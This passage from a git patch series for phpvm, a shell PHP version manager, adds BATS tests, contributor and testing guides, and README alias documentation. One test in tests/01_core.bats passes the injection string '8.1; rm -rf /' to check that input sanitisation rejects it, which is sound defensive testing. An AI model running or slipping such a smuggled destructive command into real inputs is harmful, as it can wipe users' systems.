+echo -e "${BLUE}═══════════════════════════════════════${NC}"
+echo -e "${BLUE}           Summary                      ${NC}"
+echo -e "${BLUE}═══════════════════════════════════════${NC}"
+
+if [ $FAILED -eq 0 ]; then
+    echo -e "${GREEN}✓ All checks passed! 🎉${NC}"
+    echo ""
+    echo "Your code is ready to commit!"
+    exit 0
+else
+    echo -e "${RED}✗ ${FAILED} check(s) failed${NC}"
+    echo ""
+    echo "Please fix the issues above before committing."
+    echo ""
+    echo "Quick fixes:"
+    echo "  • Run 'make format' to fix formatting issues"
+    echo "  • Run 'make lint' to see detailed linting errors"
+    echo "  • Run 'make test' to run tests individually"
+    exit 1
+fi
diff --git a/tests/01_core.bats b/tests/01_core.bats
new file mode 100644
index 0000000..f3612e4
--- /dev/null
+++ b/tests/01_core.bats
@@ -0,0 +1,105 @@
+#!/usr/bin/env bats
+# BATS test suite for phpvm - Core functionality tests
+
+load test_helper
+
+@test "phpvm version command works" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" version
+    [ "$status" -eq 0 ]
+    [[ "$output" =~ "phpvm version" ]]
+}
+
+@test "phpvm help command displays help" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" help
+    [ "$status" -eq 0 ]
+    [[ "$output" =~ "phpvm - PHP Version Manager" ]]
+    [[ "$output" =~ "Usage:" ]]
+}
+
+@test "sanitize_input rejects dangerous characters" {
+    run sanitize_input "8.1; rm -rf /"
+    [ "$status" -ne 0 ]
+}
+
+@test "sanitize_input accepts valid version" {
+    run sanitize_input "8.1"
+    [ "$status" -eq 0 ]
+    [ "$output" = "8.1" ]
+}
+
+@test "validate_php_version accepts valid version format" {
+    run validate_php_version "8.1"
+    [ "$status" -eq 0 ]
+}
+
+@test "validate_php_version accepts system" {
+    run validate_php_version "system"
+    [ "$status" -eq 0 ]
+}
+
+@test "validate_php_version rejects invalid format" {
+    run validate_php_version "abc"
+    [ "$status" -ne 0 ]
+}
+
+@test "create_directories creates required structure" {
+    [ -d "$PHPVM_VERSIONS_DIR" ]
+    [ -d "$PHPVM_DIR/alias" ]
+    [ -d "$PHPVM_DIR/cache" ]
+}
+
+@test "phpvm_resolve_version returns input when no alias exists" {
+    run phpvm_resolve_version "8.1"
+    [ "$status" -eq 0 ]
+    [ "$output" = "8.1" ]
+}
+
+@test "phpvm_atomic_write creates file safely" {
+    local test_file="$TEST_DIR/test.txt"
+    run phpvm_atomic_write "$test_file" "test content"
+    [ "$status" -eq 0 ]
+    [ -f "$test_file" ]
+    [ "$(cat "$test_file")" = "test content" ]
+}
+
+@test "phpvm_has_colors detects color support" {
+    # This should work in most environments
+    run phpvm_has_colors
+    # Status should be 0 (colors supported) or 1 (not supported)
+    [ "$status" -eq 0 ] || [ "$status" -eq 1 ]
+}
+
+@test "unknown command returns correct exit code" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" unknown-command
+    [ "$status" -eq 127 ]
+}
+
+@test "phpvm current shows no active version initially" {
+    run phpvm_current
+    [ "$status" -eq 1 ]
+    [ "$output" = "none" ]
+}
+
+@test "find_phpvmrc returns error when no file exists" {
+    cd "$TEST_DIR"
+    run find_phpvmrc
+    [ "$status" -eq 1 ]
+}
+
+@test "find_phpvmrc finds file in current directory" {
+    cd "$TEST_DIR"
+    echo "8.1" > .phpvmrc
+    run find_phpvmrc
+    [ "$status" -eq 0 ]
+    [[ "$output" =~ ".phpvmrc" ]]
+}
+
+@test "find_phpvmrc finds file in parent directory" {
+    cd "$TEST_DIR"
+    echo "8.1" > .phpvmrc
+    mkdir -p subdir
+    cd subdir
+    run find_phpvmrc
+    [ "$status" -eq 0 ]
+    [[ "$output" =~ ".phpvmrc" ]]
+}
diff --git a/tests/02_features.bats b/tests/02_features.bats
new file mode 100644
index 0000000..1291506
--- /dev/null
+++ b/tests/02_features.bats
@@ -0,0 +1,83 @@
+#!/usr/bin/env bats
+# BATS test suite for phpvm - Placeholder feature tests
+
+load test_helper
+
+@test "phpvm exec shows helpful error message" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" exec 8.1 php -v
+    [ "$status" -eq 1 ]
+    [[ "$output" =~ "not yet implemented" ]]
+    [[ "$output" =~ "Phase 1" ]]
+}
+
+@test "phpvm run shows helpful error message" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" run 8.1 script.php
+    [ "$status" -eq 1 ]
+    [[ "$output" =~ "not yet implemented" ]]
+    [[ "$output" =~ "Phase 1" ]]
+}
+
+@test "phpvm ls-remote shows helpful error message" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" ls-remote
+    [ "$status" -eq 1 ]
+    [[ "$output" =~ "not yet implemented" ]]
+    [[ "$output" =~ "Phase 2" ]]
+}
+
+@test "phpvm alias creates and lists aliases" {
+    local temp_dir
+    temp_dir=$(mktemp -d /tmp/phpvm-bats-alias.XXXXXX)
+
+    PHPVM_DIR="$temp_dir/.phpvm" bash "$BATS_TEST_DIRNAME/../phpvm.sh" alias default 8.1
+    [ -f "$temp_dir/.phpvm/alias/default" ]
+
+    run PHPVM_DIR="$temp_dir/.phpvm" bash "$BATS_TEST_DIRNAME/../phpvm.sh" alias
+    [ "$status" -eq 0 ]
+    [[ "$output" =~ "default" ]]
+
+    rm -rf "$temp_dir"
+}
+
+@test "phpvm unalias removes aliases" {
+    local temp_dir
+    temp_dir=$(mktemp -d /tmp/phpvm-bats-unalias.XXXXXX)
+
+    PHPVM_DIR="$temp_dir/.phpvm" bash "$BATS_TEST_DIRNAME/../phpvm.sh" alias test 8.0
+    [ -f "$temp_dir/.phpvm/alias/test" ]
+
+    run PHPVM_DIR="$temp_dir/.phpvm" bash "$BATS_TEST_DIRNAME/../phpvm.sh" unalias test
+    [ "$status" -eq 0 ]
+    [ ! -f "$temp_dir/.phpvm/alias/test" ]
+
+    rm -rf "$temp_dir"
+}
+
+@test "phpvm cache dir works" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" cache dir
+    [ "$status" -eq 0 ]
+    [[ "$output" =~ "/cache" ]]
+}
+
+@test "phpvm cache clear shows helpful error message" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" cache clear
+    [ "$status" -eq 1 ]
+    [[ "$output" =~ "not yet implemented" ]]
+}
+
+@test "phpvm cache with invalid subcommand shows error" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" cache invalid
+    [ "$status" -eq 2 ]
+    [[ "$output" =~ "Unknown cache subcommand" ]]
+}
+
+@test "help text includes planned features" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" help
+    [ "$status" -eq 0 ]
+    [[ "$output" =~ "Planned Features" ]]
+    [[ "$output" =~ "phpvm exec" ]]
+    [[ "$output" =~ "phpvm run" ]]
+    [[ "$output" =~ "phpvm ls-remote" ]]
+    [[ "$output" =~ "phpvm alias" ]]
+    [[ "$output" =~ "phpvm unalias" ]]
+    [[ "$output" =~ "phpvm cache" ]]
+}
diff --git a/tests/03_error_handling.bats b/tests/03_error_handling.bats
new file mode 100644
index 0000000..0b40185
--- /dev/null
+++ b/tests/03_error_handling.bats
@@ -0,0 +1,108 @@
+#!/usr/bin/env bats
+# BATS test suite for phpvm - Error handling and edge cases
+
+load test_helper
+
+@test "phpvm with no arguments shows error" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh"
+    [ "$status" -eq 2 ]
+    [[ "$output" =~ "No command provided" ]]
+}
+
+@test "phpvm install with no version shows error" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" install
+    [ "$status" -eq 2 ]
+    [[ "$output" =~ "Missing PHP version argument" ]]
+}
+
+@test "phpvm use with no version shows error" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" use
+    [ "$status" -eq 2 ]
+    [[ "$output" =~ "Missing PHP version argument" ]]
+}
+
+@test "phpvm uninstall with no version shows error" {
+    run bash "$BATS_TEST_DIRNAME/../phpvm.sh" uninstall
+    [ "$status" -eq 2 ]
+    [[ "$output" =~ "Missing PHP version argument" ]]
+}
+
+@test "sanitize_input rejects empty input" {
+    run sanitize_input ""
+    [ "$status" -eq 1 ]
+}
+
+@test "sanitize_input rejects input that is too long" {
+    run sanitize_input "8.1.0.0.0.0.0.0.0.0.0.0"
+    [ "$status" -eq 1 ]
+}
+
+@test "sanitize_input rejects semicolon" {
+    run sanitize_input "8.1;"
+    [ "$status" -eq 1 ]
+}
+
+@test "sanitize_input rejects pipe" {
+    run sanitize_input "8.1|"
+    [ "$status" -eq 1 ]
+}
+
+@test "sanitize_input rejects dollar sign" {
+    run sanitize_input "8.1\$"
+    [ "$status" -eq 1 ]
+}
+
+@test "sanitize_input rejects backticks" {
+    run sanitize_input "8.1\`"
+    [ "$status" -eq 1 ]
+}
+
+@test "validate_php_version rejects empty string" {
+    run validate_php_version ""
+    [ "$status" -eq 2 ]
+}
+
+@test "validate_php_version rejects version with letters" {
+    run validate_php_version "8.1.abc"
+    [ "$status" -eq 2 ]
+}
+
+@test "validate_php_version accepts 8.1 format" {
+    run validate_php_version "8.1"
+    [ "$status" -eq 0 ]
+}
+
+@test "validate_php_version accepts 8.1.0 format" {
+    run validate_php_version "8.1.0"
+    [ "$status" -eq 0 ]
+}
+
+@test "phpvm_atomic_write handles directory creation" {
+    local test_file="$TEST_DIR/subdir/test.txt"
+    mkdir -p "$(dirname "$test_file")"
+    run phpvm_atomic_write "$test_file" "content"
+    [ "$status" -eq 0 ]
+    [ -f "$test_file" ]
+}
+
+@test "auto_switch_php_version fails gracefully with invalid .phpvmrc" {
+    cd "$TEST_DIR"
+    echo "invalid-version!" > .phpvmrc
+    run auto_switch_php_version
+    [ "$status" -eq 1 ]
+    [[ "$output" =~ "Invalid PHP version format" ]]
+}
+
+@test "auto_switch_php_version fails gracefully with empty .phpvmrc" {
+    cd "$TEST_DIR"
+    touch .phpvmrc
+    run auto_switch_php_version
+    [ "$status" -eq 1 ]
+}
+
+@test "phpvm_deactivate is idempotent" {
+    run phpvm_deactivate true
+    [ "$status" -eq 0 ]
+    run phpvm_deactivate true
+    [ "$status" -eq 0 ]
+}
diff --git a/tests/test_helper.bash b/tests/test_helper.bash
new file mode 100644
index 0000000..b7884c8
--- /dev/null
+++ b/tests/test_helper.bash
@@ -0,0 +1,46 @@
+#!/usr/bin/env bats
+# BATS test suite for phpvm - Setup and helper functions
+
+# Setup function runs before each test
+setup() {
+    # Set test mode
+    export PHPVM_TEST_MODE=true
+
+    # Create temporary test directory
+    export TEST_DIR="$(mktemp -d /tmp/phpvm-bats-test.XXXXXX)"
+    export PHPVM_DIR="$TEST_DIR/.phpvm"
+    export PHPVM_VERSIONS_DIR="$PHPVM_DIR/versions"
+    export PHPVM_ACTIVE_VERSION_FILE="$PHPVM_DIR/active_version"
+    export PHPVM_CURRENT_SYMLINK="$PHPVM_DIR/current"
+
+    # Source phpvm
+    source "$BATS_TEST_DIRNAME/../phpvm.sh"
+
+    # Create directory structure
+    create_directories
+}
+
+# Teardown function runs after each test
+teardown() {
+    # Clean up test directory
+    if [ -n "$TEST_DIR" ] && [ -d "$TEST_DIR" ]; then
+        rm -rf "$TEST_DIR"
+    fi
+}
+
+# Helper function to create mock PHP installation
+create_mock_php() {
+    local version="$1"
+    local mock_dir="$TEST_DIR/php-$version"
+    mkdir -p "$mock_dir/bin"
+
+    cat > "$mock_dir/bin/php" <<EOF
+#!/bin/bash
+if [ "\$1" = "-v" ]; then
+    echo "PHP $version (cli) (built: $(date))"
+fi
+exit 0
+EOF
+    chmod +x "$mock_dir/bin/php"
+    echo "$mock_dir/bin/php"
+}

From 539fe3ccb9012969326f021e8f17c56d6916ea48 Mon Sep 17 00:00:00 2001
From: Jerome Thayananthajothy <jerome@kayatech.com>
Date: Thu, 15 Jan 2026 20:50:43 +0530
Subject: [PATCH 06/20] feat: enhance alias management and add QA tooling

---
 CHANGELOG.md    |  20 +++
 CONTRIBUTING.md | 402 ++++++++++++++++++++++++++++++++++++++++++++++
 README.MD       |  47 +++++-
 TESTING.md      | 411 ++++++++++++++++++++++++++++++++++++++++++++++++
 tests/README.md | 240 ++++++++++++++++++++++++++++
 5 files changed, 1119 insertions(+), 1 deletion(-)
 create mode 100644 CONTRIBUTING.md
 create mode 100644 tests/README.md

diff --git a/CHANGELOG.md b/CHANGELOG.md
index 58b09f5..4817b7b 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,25 @@
 # Release Notes
 
+## [Unreleased]
+
+### Added
+
+- **Alias management commands:** Added `phpvm alias` and `phpvm unalias` for version alias creation, listing, and removal.
+- **Alias resolution support:** Aliases now resolve in `phpvm install`, `phpvm use`, and `phpvm which`.
+- **Alias visibility:** `phpvm list` now shows configured aliases.
+- **Quality assurance tooling:** Added ShellCheck and shfmt configuration, a QA Makefile, and a `qa.sh` runner script.
+- **BATS test suite:** Added comprehensive BATS tests for core functionality and new alias behavior.
+- **CI quality workflow:** Added a quality workflow for linting, formatting, and tests.
+
+### Changed
+
+- **Help output:** Promoted alias commands to the primary usage section.
+
+### Internal
+
+- **Alias helper utilities:** Added alias listing helper and alias resolution logic.
+- **Test coverage:** Extended built-in test suite to cover alias functionality.
+
 ## [v1.7.0](https://github.com/Thavarshan/phpvm/compare/v1.6.0...v1.7.0) - 2025-12-10
 
 ### Added
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
new file mode 100644
index 0000000..9854770
--- /dev/null
+++ b/CONTRIBUTING.md
@@ -0,0 +1,402 @@
+# Development Setup Guide for phpvm
+
+This guide will help you set up your development environment for contributing to phpvm.
+
+## Prerequisites
+
+- macOS or Linux
+- Git
+- Bash 4.0+ (or compatible shell)
+- Basic understanding of shell scripting
+
+## Quick Setup
+
+```bash
+# Clone the repository
+git clone https://github.com/Thavarshan/phpvm.git
+cd phpvm
+
+# Install development dependencies
+make install
+
+# Install git hooks
+make install-hooks
+
+# Run all checks to verify setup
+make check
+```
+
+## Detailed Setup
+
+### 1. Install Development Tools
+
+#### macOS (Homebrew)
+
+```bash
+# Install Homebrew if not already installed
+/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
+
+# Install development tools
+brew install shellcheck shfmt bats-core
+```
+
+#### Ubuntu/Debian
+
+```bash
+sudo apt-get update
+sudo apt-get install -y shellcheck bats
+
+# shfmt (manual installation)
+wget -O shfmt https://github.com/mvdan/sh/releases/latest/download/shfmt_v3.8.0_linux_amd64
+chmod +x shfmt
+sudo mv shfmt /usr/local/bin/
+```
+
+#### Fedora/RHEL
+
+```bash
+sudo dnf install -y ShellCheck
+
+# Install BATS and shfmt manually (see Ubuntu instructions)
+```
+
+### 2. Configure Git Hooks
+
+Install pre-commit hooks to automatically run quality checks:
+
+```bash
+make install-hooks
+```
+
+This will:
+- Check code formatting before each commit
+- Run linter (ShellCheck) before each commit
+- Prevent commits if checks fail
+
+To bypass hooks (use sparingly):
+
+```bash
+git commit --no-verify
+```
+
+### 3. Configure Your Editor
+
+#### VS Code
+
+Install recommended extensions:
+
+```bash
+code --install-extension timonwong.shellcheck
+code --install-extension foxundermoon.shell-format
+code --install-extension rogalmic.bash-debug
+```
+
+The project includes `.vscode/settings.json` with:
+- ShellCheck integration
+- Shell script formatting settings
+- File associations
+- Testing support
+
+#### Vim/Neovim
+
+Add to your `.vimrc` or `init.vim`:
+
+```vim
+" Enable syntax checking with ShellCheck
+let g:syntastic_sh_checkers = ['shellcheck']
+let g:syntastic_sh_shellcheck_args = '-x'
+
+" Set indentation for shell scripts
+autocmd FileType sh setlocal shiftwidth=4 tabstop=4 expandtab
+```
+
+## Development Workflow
+
+### 1. Create a Feature Branch
+
+```bash
+git checkout -b feature/your-feature-name
+```
+
+### 2. Make Changes
+
+Edit `phpvm.sh` or other files as needed.
+
+### 3. Run Quality Checks
+
+```bash
+# Quick check (fast feedback)
+make lint
+
+# Format code
+make format
+
+# Run tests
+make test
+
+# Run all checks
+make check
+```
+
+### 4. Write Tests
+
+Add tests for new features:
+
+**Built-in tests** - Add to `phpvm.sh` `run_tests()` function:
+
+```bash
+test_your_feature() {
+    # Test logic here
+    return 0
+}
+```
+
+**BATS tests** - Add to appropriate file in `tests/`:
+
+```bash
+@test "your feature works correctly" {
+    run your_function arg1 arg2
+    [ "$status" -eq 0 ]
+    [[ "$output" =~ "expected" ]]
+}
+```
+
+### 5. Commit Changes
+
+```bash
+git add .
+git commit -m "feat: add new feature"
+```
+
+Pre-commit hooks will run automatically.
+
+### 6. Push and Create Pull Request
+
+```bash
+git push origin feature/your-feature-name
+```
+
+Then create a pull request on GitHub.
+
+## Available Commands
+
+### Quality Assurance
+
+```bash
+make help          # Show all available commands
+make install       # Install development dependencies
+make install-hooks # Install git pre-commit hooks
+make lint          # Run ShellCheck linter
+make format        # Format code with shfmt
+make format-check  # Check formatting (CI mode)
+make test          # Run built-in tests
+make test-bats     # Run BATS test suite
+make test-all      # Run all tests
+make check         # Run all quality checks
+make clean         # Remove temporary files
+make release       # Prepare for release
+```
+
+### Direct Script Usage
+
+```bash
+# Run quality assurance script
+./qa.sh
+
+# Run phpvm tests
+bash phpvm.sh test
+
+# Run BATS tests
+bats tests/
+
+# Run ShellCheck
+shellcheck phpvm.sh install.sh
+
+# Format with shfmt
+shfmt -w -i 4 -sr phpvm.sh install.sh
+```
+
+## Testing
+
+### Test Structure
+
+```
+tests/
+├── test_helper.bash    # Setup and helper functions
+├── 01_core.bats        # Core functionality
+├── 02_features.bats    # Features and placeholders
+└── 03_error_handling.bats  # Error handling
+```
+
+### Running Tests
+
+```bash
+# All tests
+make test-all
+
+# Built-in tests only
+make test
+
+# BATS tests only
+make test-bats
+
+# Specific BATS file
+bats tests/01_core.bats
+
+# With verbose output
+bats -t tests/
+```
+
+### Writing Tests
+
+See [TESTING.md](TESTING.md) and [tests/README.md](tests/README.md) for detailed information.
+
+## Code Style Guidelines
+
+### Shell Script Style
+
+- **Indentation:** 4 spaces (no tabs)
+- **Line length:** 120 characters max
+- **Function naming:** `snake_case`
+- **Variable naming:** `UPPER_CASE` for globals, `lower_case` for locals
+- **Comments:** Use `#` for single-line comments
+- **Error handling:** Always check return codes
+
+### Example
+
+```bash
+# Good function example
+phpvm_example_function() {
+    local input="$1"
+    local result
+
+    # Validate input
+    if [ -z "$input" ]; then
+        phpvm_err "Input required"
+        return $PHPVM_EXIT_INVALID_ARG
+    fi
+
+    # Process input
+    result=$(process_input "$input")
+
+    # Return result
+    echo "$result"
+    return 0
+}
+```
+
+### Commit Message Convention
+
+Follow conventional commits:
+
+```
+<type>(<scope>): <description>
+
+[optional body]
+
+[optional footer]
+```
+
+**Types:**
+- `feat`: New feature
+- `fix`: Bug fix
+- `docs`: Documentation changes
+- `style`: Code style changes (formatting, etc.)
+- `refactor`: Code refactoring
+- `test`: Test additions or changes
+- `chore`: Build process or auxiliary tool changes
+
+**Examples:**
+
+```bash
+feat(alias): add alias management system
+fix(install): handle missing repository gracefully
+docs(testing): update testing guide
+test(core): add tests for version resolution
+```
+
+## Troubleshooting
+
+### ShellCheck warnings
+
+Read the warning message and fix accordingly. Common issues:
+
+- `SC2086`: Quote variables to prevent word splitting
+- `SC2155`: Declare and assign separately
+- `SC2034`: Variable appears unused
+
+Disable specific warnings if intentional:
+
+```bash
+# shellcheck disable=SC2086
+some_command $unquoted_var
+```
+
+### Tests fail locally but pass in CI
+
+1. Ensure you're using bash, not sh
+2. Check your package manager setup
+3. Verify environment variables
+4. Review test isolation
+
+### Pre-commit hook issues
+
+```bash
+# Bypass hooks temporarily
+git commit --no-verify
+
+# Remove hooks
+rm .git/hooks/pre-commit
+
+# Reinstall hooks
+make install-hooks
+```
+
+## CI/CD
+
+### GitHub Actions Workflows
+
+- **quality.yml** - Runs linting, formatting, and all tests
+- **test.yml** - Main test suite across platforms
+- **security-test.yml** - Security analysis
+- **release.yml** - Release automation
+
+### Local CI Simulation
+
+```bash
+# Run same checks as CI
+make check
+
+# Or use qa script
+./qa.sh
+```
+
+## Resources
+
+- [TESTING.md](TESTING.md) - Comprehensive testing guide
+- [IMPLEMENTATION_GUIDE.md](IMPLEMENTATION_GUIDE.md) - Feature implementation guide
+- [NVM_FEATURE_GAPS.md](NVM_FEATURE_GAPS.md) - Feature roadmap
+- [BATS Documentation](https://bats-core.readthedocs.io/)
+- [ShellCheck Wiki](https://github.com/koalaman/shellcheck/wiki)
+- [Google Shell Style Guide](https://google.github.io/styleguide/shellguide.html)
+
+## Getting Help
+
+- **Issues:** [GitHub Issues](https://github.com/Thavarshan/phpvm/issues)
+- **Discussions:** [GitHub Discussions](https://github.com/Thavarshan/phpvm/discussions)
+- **Documentation:** Check the docs directory
+
+## Next Steps
+
+1. **Explore the codebase** - Read `phpvm.sh` to understand structure
+2. **Run tests** - Get familiar with the test suite
+3. **Pick an issue** - Look for "good first issue" labels
+4. **Implement Phase 1 features** - See [IMPLEMENTATION_GUIDE.md](IMPLEMENTATION_GUIDE.md)
+5. **Ask questions** - Don't hesitate to open discussions
+
+Happy coding! 🚀
+
+---
+
+**Last Updated:** January 15, 2026
+**For Contributors:** Thank you for contributing to phpvm!
diff --git a/README.MD b/README.MD
index 04fb8a4..f446b82 100644
--- a/README.MD
+++ b/README.MD
@@ -15,7 +15,7 @@
 
 ```sh
 $ phpvm version
-phpvm version 1.5.0
+phpvm version 1.7.0
 
 PHP Version Manager for macOS and Linux
 Author: Jerome Thayananthajothy <tjthavarshan@gmail.com>
@@ -40,6 +40,8 @@ PHP 8.1.13
 - Install and manage multiple PHP versions.
 - Seamlessly switch between installed PHP versions.
 - Auto-switch PHP versions based on project `.phpvmrc`.
+- Alias management for versions (`phpvm alias`, `phpvm unalias`).
+- Cache directory inspection (`phpvm cache dir`).
 - Supports macOS (via Homebrew) and Linux distributions including WSL.
 - **Smart repository detection** for RHEL/Fedora systems with automatic setup guidance.
 - **Enhanced error handling** with actionable solutions when PHP packages are missing.
@@ -98,6 +100,9 @@ If the installation was successful, it should output the path to `phpvm`.
 | `phpvm deactivate`         | Temporarily disable phpvm and restore PATH |
 | `phpvm system`             | Switch to system/Homebrew default PHP      |
 | `phpvm list` or `phpvm ls` | List all installed PHP versions            |
+| `phpvm alias [name] [ver]` | Create, update, or list version aliases    |
+| `phpvm unalias <name>`     | Remove version alias                       |
+| `phpvm cache dir`          | Show phpvm cache directory                 |
 | `phpvm auto`               | Auto-switch based on `.phpvmrc` file       |
 | `phpvm test`               | Run built-in self-tests                    |
 | `phpvm version`            | Show version information                   |
@@ -207,6 +212,46 @@ phpvm list
 
 This will show all installed PHP versions and indicate the currently active one.
 
+### Managing Aliases
+
+Create or update a version alias:
+
+```sh
+phpvm alias default 8.2
+phpvm alias production 8.1
+```
+
+List aliases:
+
+```sh
+phpvm alias
+```
+
+Remove an alias:
+
+```sh
+phpvm unalias production
+```
+
+Aliases also appear in `phpvm list` output when defined.
+
+### Cache Directory
+
+Show the phpvm cache directory:
+
+```sh
+phpvm cache dir
+```
+
+### Planned Commands (Coming Soon)
+
+The following commands are in progress and may return a "not yet implemented" message:
+
+- `phpvm exec <version> <command> [args...]`
+- `phpvm run <version> [script] [args...]`
+- `phpvm ls-remote [pattern]`
+- `phpvm cache clear`
+
 ### Running Self-Tests
 
 phpvm includes built-in self-tests to verify everything is working correctly:
diff --git a/TESTING.md b/TESTING.md
index e69de29..d581cee 100644
--- a/TESTING.md
+++ b/TESTING.md
@@ -0,0 +1,411 @@
+# Testing Guide for phpvm
+
+This document describes the testing infrastructure for phpvm and how to run tests.
+
+## Overview
+
+phpvm uses a multi-layered testing approach:
+
+1. **Built-in Tests** - Self-tests within phpvm.sh
+2. **BATS Tests** - Comprehensive test suite using BATS framework
+3. **ShellCheck** - Static analysis and linting
+4. **shfmt** - Code formatting verification
+5. **CI/CD** - Automated testing on multiple platforms
+
+## Quick Start
+
+### Install Testing Tools
+
+```bash
+# Install all development dependencies
+make install
+
+# Or install individually:
+brew install shellcheck shfmt bats-core  # macOS
+sudo apt-get install shellcheck bats    # Debian/Ubuntu
+```
+
+### Run Tests
+
+```bash
+# Run all checks (recommended)
+make check
+
+# Run individual test suites
+make test           # Built-in tests
+make test-bats      # BATS test suite
+make lint           # ShellCheck analysis
+make format-check   # Formatting verification
+
+# Run all tests
+make test-all
+```
+
+## Testing Infrastructure
+
+### 1. Built-in Tests (`phpvm test`)
+
+phpvm includes comprehensive self-tests that verify core functionality:
+
+```bash
+./phpvm.sh test
+```
+
+**What it tests:**
+- Input sanitization
+- Version validation
+- Directory creation
+- File operations
+- PATH management
+- Environment detection
+- Package manager detection
+
+**Advantages:**
+- No external dependencies
+- Runs in test mode (no system changes)
+- Fast execution
+- Built into the tool
+
+### 2. BATS Test Suite
+
+BATS (Bash Automated Testing System) provides comprehensive integration testing.
+
+**Location:** `tests/` directory
+
+**Test files:**
+- `tests/test_helper.bash` - Setup, teardown, and helper functions
+- `tests/01_core.bats` - Core functionality tests
+- `tests/02_features.bats` - Placeholder feature tests
+- `tests/03_error_handling.bats` - Error handling and edge cases
+
+**Run BATS tests:**
+
+```bash
+# Run all BATS tests
+make test-bats
+
+# Or directly with BATS
+bats tests/
+
+# Run specific test file
+bats tests/01_core.bats
+
+# Run with verbose output
+bats -t tests/
+```
+
+**Writing BATS tests:**
+
+```bash
+#!/usr/bin/env bats
+
+load test_helper
+
+@test "description of what you're testing" {
+    run command_to_test
+    [ "$status" -eq 0 ]
+    [[ "$output" =~ "expected output" ]]
+}
+```
+
+### 3. ShellCheck - Static Analysis
+
+ShellCheck analyzes shell scripts for common issues, security problems, and style violations.
+
+**Configuration:** `.shellcheckrc`
+
+**Run linting:**
+
+```bash
+# Run ShellCheck
+make lint
+
+# Or directly
+shellcheck phpvm.sh install.sh
+```
+
+**What it checks:**
+- Syntax errors
+- Semantic problems
+- Security issues (command injection, etc.)
+- Portability issues
+- Style violations
+
+### 4. shfmt - Code Formatting
+
+shfmt formats shell scripts consistently.
+
+**Configuration:** Follows `.editorconfig` (4-space indentation)
+
+**Run formatting:**
+
+```bash
+# Format code
+make format
+
+# Check formatting (CI mode)
+make format-check
+
+# Or directly
+shfmt -w -i 4 -sr phpvm.sh install.sh  # Format
+shfmt -d -i 4 -sr phpvm.sh install.sh  # Check only
+```
+
+## Makefile Commands
+
+The Makefile provides convenient shortcuts for all testing operations:
+
+| Command              | Description                      |
+| -------------------- | -------------------------------- |
+| `make help`          | Display all available commands   |
+| `make install`       | Install development dependencies |
+| `make install-hooks` | Install git pre-commit hooks     |
+| `make lint`          | Run ShellCheck linter            |
+| `make format`        | Format code with shfmt           |
+| `make format-check`  | Check formatting (CI)            |
+| `make test`          | Run built-in tests               |
+| `make test-bats`     | Run BATS test suite              |
+| `make test-all`      | Run all tests                    |
+| `make check`         | Run all checks                   |
+| `make clean`         | Remove temporary files           |
+| `make release`       | Prepare for release              |
+
+## Git Pre-commit Hooks
+
+Install pre-commit hooks to automatically run checks before each commit:
+
+```bash
+make install-hooks
+```
+
+**What the hook does:**
+1. Checks code formatting
+2. Runs linter (ShellCheck)
+3. Prevents commit if checks fail
+
+**Skip hooks temporarily:**
+
+```bash
+git commit --no-verify
+```
+
+## Continuous Integration
+
+### GitHub Actions Workflows
+
+phpvm uses GitHub Actions for automated testing:
+
+**Workflows:**
+- **test.yml** - Main test suite (syntax, core tests, multi-platform)
+- **security-test.yml** - Security analysis
+- **release.yml** - Release automation
+
+**Platforms tested:**
+- Ubuntu (latest)
+- macOS (latest)
+- Multiple Linux distributions (Debian, Fedora, Arch, Alpine, Rocky, Alma)
+
+**Package managers tested:**
+- Homebrew (macOS)
+- apt (Debian/Ubuntu)
+- dnf (Fedora/RHEL)
+- yum (CentOS/RHEL)
+- pacman (Arch)
+
+### Run CI Locally
+
+```bash
+# Simulate CI checks
+make check
+
+# Or step by step
+make lint
+make format-check
+make test
+make test-bats
+```
+
+## Test Coverage
+
+### Current Coverage
+
+**Built-in tests:** 14+ test functions covering:
+- ✅ Input validation and sanitization
+- ✅ Version format validation
+- ✅ Directory operations
+- ✅ File operations (atomic writes)
+- ✅ PATH management
+- ✅ Version switching
+- ✅ Deactivation
+- ✅ .phpvmrc detection
+
+**BATS tests:** 40+ test cases covering:
+- ✅ Core functionality
+- ✅ Command-line interface
+- ✅ Error handling
+- ✅ Edge cases
+- ✅ Placeholder features
+- ✅ Input validation
+- ✅ File system operations
+
+### Adding Tests
+
+When adding new features, always add tests:
+
+1. **Add built-in test** in `phpvm.sh` `run_tests()` function
+2. **Add BATS test** in appropriate `tests/*.bats` file
+3. **Update this document** with new test information
+
+**Example - Adding a BATS test:**
+
+```bash
+# tests/01_core.bats
+
+@test "new feature works correctly" {
+    # Setup
+    local test_input="8.1"
+
+    # Execute
+    run new_function "$test_input"
+
+    # Assert
+    [ "$status" -eq 0 ]
+    [ "$output" = "expected result" ]
+}
+```
+
+## Best Practices
+
+### Test Writing
+
+1. **Test one thing at a time** - Each test should verify a single behavior
+2. **Use descriptive names** - Test names should clearly describe what's being tested
+3. **Test error cases** - Don't just test the happy path
+4. **Use setup/teardown** - Clean up after tests
+5. **Make tests independent** - Tests shouldn't depend on each other
+
+### Test Organization
+
+1. **Group related tests** - Use separate files for different concerns
+2. **Order logically** - Run fast tests first
+3. **Use helpers** - Extract common setup into helper functions
+4. **Document edge cases** - Add comments for non-obvious test cases
+
+### Running Tests During Development
+
+```bash
+# Quick feedback loop
+make lint && make test
+
+# Before committing
+make check
+
+# Full test suite
+make test-all
+```
+
+## Troubleshooting
+
+### BATS not found
+
+```bash
+# Install BATS
+./install-bats.sh
+
+# Or via package manager
+brew install bats-core  # macOS
+sudo apt-get install bats  # Debian/Ubuntu
+```
+
+### ShellCheck not found
+
+```bash
+# Install ShellCheck
